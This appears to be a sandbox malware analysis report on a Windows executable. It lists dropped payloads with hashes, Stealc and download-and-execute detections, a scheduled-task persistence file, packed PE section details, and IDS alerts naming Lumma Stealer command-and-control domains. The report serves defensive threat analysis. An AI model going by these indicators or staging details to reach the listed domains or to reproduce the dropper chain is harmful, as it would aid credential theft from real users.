Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......g.........."..........X......w.............@..........................`......~u....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000995001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2817536
Entropy (8bit):	6.5151814303524995
Encrypted:	false
SSDEEP:	49152:XR5oOnyJYCj5kpFagq1wXKQDEqC2bWBp4M6EibCRIk:3oOn+YCj5kugkwXVDEqC2dw
MD5:	25508D957B0CB88DF7C7C425A19C35F2
SHA1:	CCF22C7C01F662900A41BD0AFAC068CB99101668
SHA-256:	7C6EC32CEBC052E8F8A40D62D153DCF32FE0AD1F98EB5ACF5688519936D62766
SHA-512:	797C605AE9445DF24ADF9C9AE69CC708CEBB60AAE9DB372BDAC69694B460DF43DA6C5DBF6D6DF233B5D7480BA6E725AC0370807E3F289512CBF0E45A26C0A726
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+......r+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...zsdjwali...........:..............@...xurnmcxc. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1833984
Entropy (8bit):	7.947631728352289
Encrypted:	false
SSDEEP:	49152:VQXtQf+CzsDGi4cT+o3EUQFnRPW5jwY+pP3b:i2ftyGi4cZ15cY+9
MD5:	DD0CAAED8398954963C8A3FFB1196E18
SHA1:	C62460A7222A2EEE80BC8C013CBD6F56CFD8A0FD
SHA-256:	9A3DCEDD0E3CC0AFF5A51E23028544FA2459B263C2AE93703754D98DD3C86ABC
SHA-512:	C8CBCA24388ABA7E4B5E36CEE3C089045B16F5F8A1E1F72AE06FB3AD0C1260321D87DBB2095AAD7961E141A7637DA55CA12539D77F2E2D1E20FF9504CA08F623
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......Pi...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...iadgvtjq......O......<..............@...xuvqjoqm.....@i.....................@....taggant.0...Pi.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1925632
Entropy (8bit):	7.950787296303277
Encrypted:	false
SSDEEP:	49152:D5IAEtsjt2pHXGhal0GN0CQQjoYN6KRn7vK9:1Hj0JIjNRYMKRn7vK9
MD5:	61E940C7CECC109FEE9B6BD3A4F394D5
SHA1:	F0316CC09C9F0E81169E7493AAC1C16E9D0D9636
SHA-256:	E941A03653AD56FFCF9AE85E100CB658CFF1BEAE451BB4E62A116097DB1A92A2
SHA-512:	DF9864331208744627D189D2341940968706EB295AADA538584101A32FAE5947E5346D8583B445DED642475DB8DFE021C52F5422CC35F1E5268E8ACFFC16AA51
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PL...........@...........................L.....\.....@.................................W...k...........................(7L..............................6L..................................................... . ............................@....rsrc...............................@....idata ............................@... .@+.........................@...toioyzgt.P....1..H..................@...nacjdqiu.....@L......<..............@....taggant.0...PL.."...@..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1925632
Entropy (8bit):	7.950787296303277
Encrypted:	false
SSDEEP:	49152:D5IAEtsjt2pHXGhal0GN0CQQjoYN6KRn7vK9:1Hj0JIjNRYMKRn7vK9
MD5:	61E940C7CECC109FEE9B6BD3A4F394D5
SHA1:	F0316CC09C9F0E81169E7493AAC1C16E9D0D9636
SHA-256:	E941A03653AD56FFCF9AE85E100CB658CFF1BEAE451BB4E62A116097DB1A92A2
SHA-512:	DF9864331208744627D189D2341940968706EB295AADA538584101A32FAE5947E5346D8583B445DED642475DB8DFE021C52F5422CC35F1E5268E8ACFFC16AA51
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PL...........@...........................L.....\.....@.................................W...k...........................(7L..............................6L..................................................... . ............................@....rsrc...............................@....idata ............................@... .@+.........................@...toioyzgt.P....1..H..................@...nacjdqiu.....@L......<..............@....taggant.0...PL.."...@..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03666199051397563
Encrypted:	false
SSDEEP:	3:GtlvVnn8RNKchRl3lvVnn8RNKchKlL9//2ltltl:GtNchRl3NchS9XCt1
MD5:	480F553808DE3845434250E91CF3242D
SHA1:	D998EEC241EECEC24A34A2C1BD9927CC162094BF
SHA-256:	75408DD0599C72193C26435EA2AC1749531DB580D8F7CC379A3C47A4C07B8CAD
SHA-512:	04C4399C6567E858CD07D67E68091A58904980A453D34693530FEBA689F4741295C9EC6244E41EF87481FB7C2913C2576B958A3323F2B343AA50BC132FD0D2F7
Malicious:	false
Preview:	..-......................B\........../\..#..~i..-......................B\........../\..#..~i........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	65616
Entropy (8bit):	0.02962753311509757
Encrypted:	false
SSDEEP:	3:Ol1JNxO7I+5ly/f/uCvlZSrV//mwl8XW3RTf/ulvpaHlgKSrV//mwl8XW3R2:Kv++PuC9spuw93Nu1paHlEpuw93w
MD5:	F52280E1D8B3DD41214483DC18448271
SHA1:	94D8DFB43232CDB6358E7EA4F2A36814B93E198E
SHA-256:	BEEB297D2F191C444504ECA3848A1CA456BEFCFA073FAC4D037C47EF1C938CCE
SHA-512:	B2D42DBAFE669B74FE738D22EDFDC6AD39263BEA199EECACEA52B03FE343A635F3966878A3FCA2B0285BFE533F159D4B8626F7E56D2F4097FC6EA92891E4B37D
Malicious:	false
Preview:	7....-................/~..-f.d.............../..8.F..f................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	12563
Entropy (8bit):	5.450029581931482
Encrypted:	false
SSDEEP:	192:0nTFTRRUYbBp64LZNMGaXU6qU4rzy+/3/7Et5RYiNBw8dJSl:2KeNFNMr4yCcdw80
MD5:	30120A7677FE08B037E90D5B24061337
SHA1:	B0480E757129B48DFBC8A342FD1A450B8D8356E3
SHA-256:	1ACAE3E1154D8902930507BF4BB575B9EAF45D0696DF0A5CA4BBEA75B35510F9
SHA-512:	730361A9A9CD0DCEA42D1496947EA4A4B92D9B0ABDEB5485622C9906619AC58E9A8422FBBFACD88EE7F3D267983B321F6EFE304286E6F28A5FA36804A31BD2FC
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	12563
Entropy (8bit):	5.450029581931482
Encrypted:	false
SSDEEP:	192:0nTFTRRUYbBp64LZNMGaXU6qU4rzy+/3/7Et5RYiNBw8dJSl:2KeNFNMr4yCcdw80
MD5:	30120A7677FE08B037E90D5B24061337
SHA1:	B0480E757129B48DFBC8A342FD1A450B8D8356E3
SHA-256:	1ACAE3E1154D8902930507BF4BB575B9EAF45D0696DF0A5CA4BBEA75B35510F9
SHA-512:	730361A9A9CD0DCEA42D1496947EA4A4B92D9B0ABDEB5485622C9906619AC58E9A8422FBBFACD88EE7F3D267983B321F6EFE304286E6F28A5FA36804A31BD2FC
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	modified
Size (bytes):	4096
Entropy (8bit):	2.0429414119865847
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	065126257A10997E9245D4448C949491
SHA1:	AC1A63CEC8564CB3C2634728694094BA94FCEEBD
SHA-256:	F885A0066424B230DCD7BB5FF805D200E14C3F98D61A62C07688027CFA05B45B
SHA-512:	D46E8920865F26EDB16F07B8B7DAE03E3C4699E2872DECB0C694BC01C46F8357FB58B5BA44B86D2937218244EC83ADF040DCD41E41414A9E27397E87CD82CA23
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.461970096465178
Encrypted:	false
SSDEEP:	6:IYTGZWpXUhXUEZ+lX1CGdKUe6tE9+AQy0lFQ0ut0:I4D4Q1CGAFD9+nVFQ0ut0
MD5:	7BF65CEC65942B4CD0187776A370914E
SHA1:	145C3DF199E8511766425870C09D01FEDE6B2E27
SHA-256:	FD3C02CDEB54C718E3E4D4C8D171FF016A95B364B7E621D779B2CC33A0276625
SHA-512:	A02A26DDC7ABD21F18B0488779560ECC92517878A51D809303E0270369DB6A8FA23B122D94E1EB95449B210A51987C2314DEF2F4C2C4A3F657098A2307F2A3C2
Malicious:	false
Preview:	..........uE.h....F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................4.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.54368243409857
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'891'264 bytes
MD5:	4aa75791152671db0dd310096a19f866
SHA1:	a08bef3a430ae54d94217399bb72e5ece1968498
SHA256:	f022c688cbbf7c4f3dc72d820933ccdc24e1b57968afc07d15f6d2609aab8d84
SHA512:	487750f9b7e24af0092b44a957a875ddbae8032f7750dc51352766298d7f1a90dfda2701c1f341ae6e357d310d5ef2066486b5a5971e990c5137da1775bf14d5
SSDEEP:	49152:qC1k3gu7qdfL7pXFb7qybs4W896T4PphROKRx/7nR1VpFEUXy/k41hP:LEqdfL7pXFKUs4Wq6T4PphRbZp9XJ41
TLSH:	6DD55C92B44671CFE48F2678A427CF45A9AC43B94B200AC3DC6D757A7DA3EC025F5C29
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f............................../...........@.........................../.......,...@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6fa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F08C126B40Ah
paddb mm5, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [ecx], cl
or al, byte ptr [eax]
add byte ptr [edx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	8399e103d31cacc46322b932d48b02fc	False	0.9994907693894389	data	7.981854671595565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
muoxnbrn	0x60000	0x299000	0x298600	870d5dbc4eb1755bfd2750a0eea85989	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ckkqhetw	0x2f9000	0x1000	0x600	448d41fefa9491e5cd83d14b06cceb75	False	0.568359375	data	4.983907120248203	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2fa000	0x3000	0x2200	e37d4bb5b0896b30aedfcbe2998bb322	False	0.06399356617647059	DOS executable (COM)	0.8007559635222783	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-23T17:51:05.556654+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	59432	1.1.1.1	53	UDP
2024-10-23T17:51:05.572359+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	50802	1.1.1.1	53	UDP
